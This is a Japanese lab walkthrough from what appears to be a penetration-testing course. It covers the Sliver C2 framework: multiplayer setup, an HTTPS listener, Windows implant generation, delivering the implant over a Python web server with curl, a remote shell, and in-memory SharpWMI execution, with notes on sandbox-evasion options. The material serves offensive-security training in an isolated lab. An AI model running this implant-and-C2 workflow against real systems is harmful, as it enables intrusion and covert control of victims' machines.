Skip to content

Lab 2.3: Sliver

オフライン演習

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。

目的

  • Sliverとその機能に慣れる
  • マルチプレイヤーをセットアップし、マルチプレイヤー機能に慣れる
  • リスナーを作成し、リスナーに接続するペイロードを生成する
  • Sliverインプラントの機能、特にexecute-assemblyを使用する

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Linux
  • Windows 11

このラボでは、Linux VMからWindows VMへのpingが可能であり、その逆も可能であることを確認してください。

コマンド

ping -c 4 WINDOWS_ETHERNET0_ADDRESS

WINDOWS_ETHERNET0_ADDRESSを置き換えてください!

WINDOWS_ETHERNET0_ADDRESSをWindows VMのローカルアドレスに置き換えてください(10.254.25X.Xのようなアドレスではありません)。

コマンド

ping LINUX_ETH0_ADDRESS

LINUX_ETH0_ADDRESSを置き換えてください!

LINUX_ETH0_ADDRESSをLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.Xのようなアドレスではありません)。

ラボ – ステップバイステップの手順

1: Sliverの起動

Sliverには、クライアントとサーバーの2つのコンポーネントがあります。まず、Slingshot VMでサーバーを起動します。

コマンド

sudo sliver-server

ここからすべてを実行できますが、マルチプレイヤーモードをセットアップしましょう。

この時点で、次のようなプロンプトが表示されるはずです:

想定される結果

[server] sliver >

ヘルプを見てみましょう。

コマンド

help

想定される結果

[server] sliver > help

Commands:
=========
  clear       clear the screen
  exit        exit the shell
  help        use 'help [command]' for command help
  monitor     Monitor threat intel platforms for Sliver implants
  wg-config   Generate a new WireGuard client config
  wg-portfwd  List ports forwarded by the WireGuard tun interface
  wg-socks    List socks servers listening on the WireGuard tun interface


Generic:
========
  aliases           List current aliases
  armory            Automatically download and install extensions/aliases
  background        Background an active session
  beacons           Manage beacons
  builders          List external builders
  canaries          List previously generated canaries
  cursed            Chrome/electron post-exploitation tool kit
  dns               Start a DNS listener
  env               List environment variables
  generate          Generate an implant binary
  hosts             Manage the database of hosts
  http              Start an HTTP listener
  https             Start an HTTPS listener
  implants          List implant builds
  jobs              Job control
  licenses          Open source licenses
  loot              Manage the server's loot store
  mtls              Start an mTLS listener
  prelude-operator  Manage connection to Prelude's Operator
  profiles          List existing profiles
  reaction          Manage automatic reactions to events
  regenerate        Regenerate an implant
  sessions          Session management
  settings          Manage client settings
  stage-listener    Start a stager listener
  tasks             Beacon task management
  update            Check for updates
  use               Switch the active session or beacon
  version           Display version information
  websites          Host static content (used with HTTP C2)
  wg                Start a WireGuard listener


Multiplayer:
============
  kick-operator  Kick an operator from the server
  multiplayer    Enable multiplayer mode
  new-operator   Create a new operator config file
  operators      Manage operators


For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki

私たちが確認したいコマンドのほとんどは、Genericカテゴリにあります。Multiplayerカテゴリはサーバーでのみ利用可能です。これにより、新しいユーザー(オペレーターまたはプレイヤー)を設定および追加して、チームとして協力することができます。

マルチプレイヤーモードを設定し、クライアントとして接続しましょう。まず、multiplayerコマンドを実行してマルチプレイヤーを有効にする必要があります。

コマンド

multiplayer

想定される結果

[server] sliver > multiplayer

[*] Multiplayer mode enabled!

[server] sliver >

Multiplayerオプションは、クライアントではなく、サーバーでのみ利用可能です。

ユーザーを作成し、証明書で接続して、同じシステム上に複数の人がいることをシミュレートします。

まず、新しいプレイヤーを作成するために使用するオプションを知る必要があります。new-operator -hを実行して、このコマンドのヘルプを確認します。

コマンド

new-operator -h

想定される結果

[server] sliver > new-operator -h

Create a new player config file

Usage:
======
  new-operator -h [flags]

Flags:
======
  -h, --help               display help
  -l, --lhost    string    listen host
  -p, --lport    int       listen port (default: 31337)
  -n, --operator string    operator name
  -s, --save     string    directory/file to the binary to

新しいユーザーを作成しましょう。zerocoolという名前を使用しますが、お好みのハンドル名を使用できます。IPアドレスには、eth0インターフェースのアドレスを使用してください(tun0インターフェースが持つ10.254.25X.Xのようなアドレスではありません)。

コマンド

注意: LINUX_ETH0_ADDRESSをeth0インターフェースのIPアドレスに置き換えてください。

new-operator -n zerocool -s /tmp/ -l LINUX_ETH0_ADDRESS

想定される結果

[server] sliver > new-operator -n zerocool -s /tmp/ -l 192.168.56.101

[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /tmp/zerocool_192.168.56.101.cfg

新しいターミナルウィンドウを開いて、以下を完了してください:

このcfgファイルは、新しいプレイヤーと共有できます。試してみたい場合は、新しいプレイヤーを作成し、他の人とファイルを共有してください(ライブクラスルームでは、Slack経由で行うことができます)。チームで作業している場合は、キャップストーンCTF中に行うことをお勧めします。

ls -lで設定ファイルを確認します。

コマンド

ls -l /tmp/*.cfg

想定される結果

sec560@560vm:~$ ls -l /tmp/*.cfg
-rw------- 1 root root 1905 Aug 14 23:42 /tmp/zerocool_192.168.56.101.cfg

サーバーをrootとして実行したため、TCPポート443でリッスンできます。これは、プロセスによって作成されたファイルもrootが所有することを意味します。このファイルはさらに制限されており、所有者(root)のみが読み取ることができます。ファイルを読み取れるように、ファイルの権限を変更する必要があります。

コマンド

sudo chown sec560:sec560 /tmp/*.cfg

このコマンドには出力がありません

ローカルシステムでインポートプロセスを練習しましょう。まず、sliver-clientのオプションを確認します。

コマンド

sliver-client -h

想定される結果

sec560@560vm:~$ sliver-client -h
Usage:
sliver-client [flags]
sliver-client [command]

Available Commands:
completion  Generate the autocompletion script for the specified shell
help        Help about any command
import      Import a client configuration file
version     Print version and exit

Flags:
-h, --help   help for sliver-client

Use "sliver-client [command] --help" for more information about a command.

importサブコマンドを使用して設定ファイルをインポートします。

コマンド

sliver-client import /tmp/*.cfg

想定される結果

sec560@560vm:~$ sliver-client import /tmp/zerocool_*.cfg
2024/08/14 23:43:25 Saved new client config to: /home/sec560/.sliver-client/configs/zerocool_192.168.56.101

これでサーバーに接続できます。sliver-clientコマンドを実行します。

コマンド

sliver-client

想定される結果

sec560@560vm:~$ sliver-client 
? Select a server:  [Use arrows to move, enter to select, type to filter]
> sec560@localhost (30f80ea912f35072)
zerocool@192.168.56.101 (6b0fd6d1a493c5)

適切なユーザーを選択してEnterキーを押すと、sliver >プロンプトが表示されます。サーバーのターミナルウィンドウに[*] zerocool has joined the gameと表示されることに注意してください。

2: リスナーとインプラントペイロードの作成

このコマンドはサーバー([server] sliver >)ではなく、クライアント(sliver >)で実行してください!

まず、httpsリスナーを作成しましょう。

コマンド

https -h

想定される結果

sliver > https -h

Start an HTTPS listener

Usage:
======
https [flags]

Flags:
======
-c, --cert                    string    PEM encoded certificate file
-D, --disable-otp                       disable otp authentication
-E, --disable-randomized-jarm           disable randomized jarm fingerprints
-d, --domain                  string    limit responses to specific domain
-h, --help                              display help
-k, --key                     string    PEM encoded private key file
-e, --lets-encrypt                      attempt to provision a let's encrypt certificate
-L, --lhost                   string    interface to bind server to
-J, --long-poll-jitter        string    server-side long poll jitter (default: 2s)
-T, --long-poll-timeout       string    server-side long poll timeout (default: 1s)
-l, --lport                   int       tcp listen port (default: 443)
-p, --persistent                        make persistent across restarts
-t, --timeout                 int       command timeout in seconds (default: 60)
-w, --website                 string    website name (see websites cmd)

実際の世界では、証明書(またはLet's Encrypt証明書)を設定し、ドメインを設定します。今のところ、IPアドレスだけを使用します。

シンプルなhttpsリスナーを起動しましょう。

コマンド

https

想定される結果

sliver > https

[*] Starting HTTPS :443 listener ...

[*] Successfully started job #2

job #2と表示されていることに注意してください。ジョブを確認しましょう。

コマンド

jobs

想定される結果

sliver > jobs

ID  Name   Protocol  Port
==  ====   ========  ====
1   grpc   tcp       31337
2   https  tcp       443

ポート31337で実行されている最初のジョブは、リモートユーザー(マルチプレイヤー)用です。デフォルトのポート443で実行されているhttpsリスナーもあります。

これで、接続を受信するようにリスナーが設定されました。ペイロードの構築を見てみましょう。

コマンド

generate -h
出力は省略されています。

サンドボックステクノロジーをバイパスしようと試みるために使用できる、いくつかの興味深いガードレールがあります。そのいくつかを見てみましょう:

  • -w, --limit-datetime: 日時より前に実行を制限(EmpireのKillDateに類似)
  • -x, --limit-domainjoined: ドメインに参加しているマシンに実行を制限
  • -F, --limit-fileexists: ファイルシステムにこのファイルがあるホストに実行を制限
  • -z, --limit-hostname: 指定されたホスト名に実行を制限
  • -y, --limit-username: 指定されたユーザー名に実行を制限

これらのオプションは使用しませんが、-x--limit-domainjoinedは、通常、シンプルなサンドボックス防御をバイパスするための良いオプションです。

「カナリア」(-c--canary)ドメインを指定することもできます。カナリアドメインは実行可能ファイルに含まれていますが、C2には使用されません。ターゲットがドメインをクエリした場合、誰かがドメインを調査していることに気付くことができるように含まれています。今のところ、この機能はスキップします。

Sliverは、ペイロードの重い暗号化と難読化を行います。これは素晴らしい機能ですが、ペイロードの生成に時間がかかる場合があります。ラボを高速化するために、--skip-symbolsを使用してこのステップをスキップします。実際の世界では、このオプションを使用したくないでしょう。

リスナーにコールバックするWindowsペイロードを構築しましょう。リスナーとOSを指定する必要があります。

このコマンドは、ペイロードを生成するのに最大1分かかる場合があります。

コマンド

generate --os windows --skip-symbols --name first --http LINUX_ETH0_ADDRESS

LINUX_ETH0_ADDRESSをLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.Xのようなアドレスではありません)。

想定される結果

sliver > generate --os windows --skip-symbols --name first --http 10.10.10.186

[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled

[*] Build completed in 21s
[*] Implant saved to /home/sec560/first.exe

生成したインプラントを確認しましょう。

コマンド

implants

想定される結果

sliver > implants

Name    Implant Type   Template   OS/Arch             Format   Command & Control          Debug 
======= ============== ========== =============== ============ ========================== =======
first   session        sliver     windows/amd64   EXECUTABLE   [1] https://10.10.10.186   false 

3: Windowsシステムへのペイロードの送信

新しいターミナルウィンドウを開いて、Windowsシステムにペイロードを送信するサーバーを作成できるようにします。

ファイルの権限を開きましょう(rootとして実行されているsliver-serverプロンプトでgenerateコマンドを実行した可能性があるため)、その後、Python経由で提供します。

コマンド

sudo chmod o+r first.exe
python3 -m http.server

想定される結果

sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Windowsホストに切り替えて、デスクトップの**Terminal**ショートカットを開きます。デスクトップに移動して、ファイルをダウンロードします。

コマンド

cd Desktop
curl.exe http://LINUX_ETH0_ADDRESS:8000/first.exe -o first.exe

LINUX_ETH0_ADDRESSをSlingshot Linux VMのeth0インターフェースのIPアドレスに置き換えてください。

PowerShellで、ファイルがコピーされたことを確認しましょう。

コマンド

ls first.exe

想定される結果

PS C:\Users\sec560\Desktop> ls .\first.exe


    Directory: C:\Users\sec560\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         8/14/2024   4:48 PM       10981376 first.exe

ファイルは約10MBであるはずです。

4: ペイロードの実行

Windowsシステムで、デスクトップのfirst.exeをダブルクリックします。

Sliverサーバーで、接続が到着するのが確認できるはずです。

想定される結果

[*] Session 5b15d3b5 first - 10.10.10.165:28928 (SEC560-Windows) - windows/amd64 - Wed, 14 Aug 2024 23:50:15 UTC

sessionsでセッションを確認しましょう。

コマンド

sessions

想定される結果

sliver > sessions 

ID         Name    Transport   Remote Address         Hostname         Username                Operating System   Locale   Last Message                            Health  
========== ======= =========== ====================== ================ ======================= ================== ======== ======================================= =========
1136c240   first   http(s)     192.168.136.129:3973   SEC560-Windows   SEC560-WINDOWS\sec560   windows/amd64      en-US    Tue Oct  1 23:20:38 UTC 2024 (3s ago)   [ALIVE]

(出力は上記と若干異なる場合があります。)

useとセッションIDの最初の2文字を使用して、セッションと対話しましょう。例では11ですが、IDは異なります。

コマンド

use 11

想定される結果

sliver > use 11

[*] Active session first (1136c240-b73f-4c9b-84c8-2810d2ba6b75)

セッションに入りました!

5: セッションとの対話

helpを実行して、セッションで使用可能なオプションを確認しましょう。

コマンド

help

想定される結果

sliver (first) > help

...trimmed for brevity...
For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki

最も興味深いコマンドは、Sliver - WindowsSliverカテゴリにあります。詳細については、Sliver wikiを自由に確認してください。

まず、侵害されたシステムに関する情報を取得しましょう。

Commands

getuid
getgid

想定される結果

sliver (first) > getuid

S-1-5-21-1288990088-1908499456-574993194-1000

sliver (first) > getgid

S-1-5-21-1288990088-1908499456-574993194-

getuidおよびgetgidコマンドは、それぞれユーザーとグループのSIDを返します。これはそれほど有用な情報ではありません(少なくとも、Active Directory攻撃に到達するまでは!)。今のところ、whoamiコマンドの方がはるかに優れています。

Commands

whoami

想定される結果

sliver (first) > whoami

Logon ID: SEC560-WINDOWS\sec560
[*] Current Token ID: SEC560-WINDOWS\sec560

このすべての情報(およびそれ以上)を単一のコマンドで取得したい場合は、infoコマンドを実行します。

コマンド

info

想定される結果

sliver (first) > info

        Session ID: 5b15d3b5-8c71-42e8-9237-a8cbe913169b
            Name: first
        Hostname: SEC560-Windows
            UUID: ed424d56-fe56-5e76-423a-bb5c1ec6ed28
        Username: SEC560-WINDOWS\sec560
            UID: S-1-5-21-2164846559-4207960765-565246971-1000
            GID: S-1-5-21-2164846559-4207960765-565246971-513
            PID: 9600
             OS: windows
        Version: 10 build 26100 x86_64
         Locale: en-US
           Arch: amd64
      Active C2: https://10.10.10.186
 Remote Address: 10.10.10.165:28928
      Proxy URL: 
Reconnect Interval: 1m0s
  First Contact: Wed Aug 14 23:50:15 UTC 2024 (2m19s ago)
   Last Checkin: Wed Aug 14 23:52:33 UTC 2024 (1s ago)

ここでは、現在のユーザーに関する情報とホストに関する詳細が表示されます。

6: シェル

Metasploitと同様に、shellコマンドでコマンドシェルにドロップできます。

shellを実行します:

コマンド

shell

想定される結果

sliver (first) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 2664

PS C:\Users\sec560\Desktop> 

悪いOPSEC

shellを実行すると、これは悪いOPSECであるという通知が表示されます。防御ツールは、CMDやPowerShellなど、悪意のあるアクターが一般的に使用するツールを生成するプロセスを探すように調整されています。

今のところ、Yと入力してEnterキーを押して警告を受け入れてください。必要に応じて、少し嘘をついて大人だと言うことができます ;)

対話型のPowerShellプロンプトが表示されました。任意のPowerShellコマンドを実行できます。ls c:\を実行して、ドライブのルートを確認します。

コマンド

ls c:\

想定される結果

PS C:\Users\sec560\Desktop> ls c:\
ls c:\


    Directory: C:\


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         8/13/2024   2:18 PM                bin                                                                  
d-----         8/13/2024   2:12 PM                CourseFiles 
...truncated for brevity...

exitと入力してこのシェルを終了します。他のシステムについて学ぶために、他のツールを試してみます。

コマンド

exit

想定される結果

PS C:\Users\sec560\Desktop> exit
exit

Shell exited

sliver (first) >

警告

最新のWindows 11リビジョンでは、exitコマンドがタイムリーに終了しないことがあります。数秒後にsliverプロンプトが返ってこない場合は、Ctrl+Cを押してsliverを終了し、sliver-clientを再実行して再起動します。その後、useとセッションIDの最初の数文字を使用して、セッションと再び対話します。

良い点は、サーバーを閉じていないため、Sliverクライアントを再起動する必要がある場合でも、セッションを失うことはないということです。

7: Execute Assembly - SharpWMI

Metasploitのように、多数の組み込みのポストエクスプロイテーションツールはありません。ただし、execute-assemblyでアセンブリを実行できます。Microsoftによると:

アセンブリは、連携して機能の論理単位を形成するように構築された型とリソースのコレクションです。アセンブリは、実行可能ファイル(.exe)またはダイナミックリンクライブラリ(.dll)ファイルの形式を取り、.NETアプリケーションの構成要素です。共通言語ランタイムに、型実装を認識するために必要な情報を提供します。

セクション2の終わりに、別のそのようなアセンブリであるSeatbeltを使用します!GhostPackには他のアセンブリも含まれています。SharpWMIを使用します。これを行うには、execute-assemblyコマンドを使用して、LinuxシステムのSharpWMI.exeへのパスを指定する必要があります。

コマンド

execute-assembly /home/sec560/labs/SharpWMI.exe

Linuxは大文字と小文字を区別します!

上記と同じ大文字小文字で入力する必要があります。Linuxには大文字と小文字を区別するファイルシステムがあります(Windowsとは異なります)。

想定される結果

sliver (first) > execute-assembly /home/sec560/labs/SharpWMI.exe

[*] Output:

:: GhostPack/SharpWMI - a C# implementation of various WMI functionality.

This implementation is a refurbished and enhanced version of original SharpWMI by @harmj0y that adds some more 
flexibility for working with malicious VBS scripts, AMSI evasion, file upload purely via WMI and makes it possible  
to return output from WMI remotely executed commands.
...truncated for brevity...

SharpWMIのヘルプが表示されるはずです。

Sliverはファイルを転送し、メモリ内で実行しました。ファイルがディスクに書き込まれることはないため、防御ツールが実行を検出することはより困難です。

loggedonアクションを実行して、ログインしているユーザーのリストを取得してテストしましょう。

コマンド

execute-assembly /home/sec560/labs/SharpWMI.exe action=loggedon

Linuxは大文字と小文字を区別します!

上記と同じ大文字小文字で入力する必要があります。Linuxには大文字と小文字を区別するファイルシステムがあります(Windowsとは異なります)。

想定される結果

sliver (first) > execute-assembly /home/sec560/labs/SharpWMI.exe action=loggedon

[*] Output:

Scope: \\localhost\
Query: "SELECT * FROM Win32_LoggedOnUser"

localhost      : SEC560-WINDOWS\sec560

Windows VMのローカルSEC560-WINDOWS\sec560ユーザーが表示されます。これを使用して他のシステムもターゲットにすることができます。これは後でピボットラボで行います!

もう1つの優れたC#アセンブリはRubeusです(このツールは560.5でカバーします)。これらの追加ツールにより、このツールの機能を拡張できます!

8: ボーナス1 - 他の.NETアセンブリ

~/labsにある他の.NETアセンブリを使用して実験してください。最初に、インプラントを管理者として実行する(右クリック、管理者として実行)か、権限を昇格させる必要があります。

9: ボーナス2 - マルチプレイヤー

クラスの他の誰かを見つけて、彼らのために「プレイヤー」を作成してください。設定ファイルを共有し、共有セッションを使用します。これはキャップストーンCTFに非常に役立ちます。

設定を他の人と共有したい場合、またはOpenVPN範囲内のマシンを悪用したい場合は、HTTPSリスナーとgenerateコマンドを、eth0インターフェースではなく、tun0インターフェース(10.254.X.Y)を指すようにする必要があります。

結論

見てきたように、Sliverはペネトレーションテスト(およびレッドチーム)のための強力なツールです。ツールの柔軟性により、サードパーティのアセンブリを簡単にロードし、情報を抽出できます(Metasploitも現在これを行うことができます)。最も優れた機能の1つは、マルチプレイヤー機能です。

WindowsおよびLinux VMをリセットする最も簡単な方法は、再起動することです。または、Linux VM内のすべてのターミナルウィンドウを閉じて、Windows VMでfirst.exeをキルすることもできます。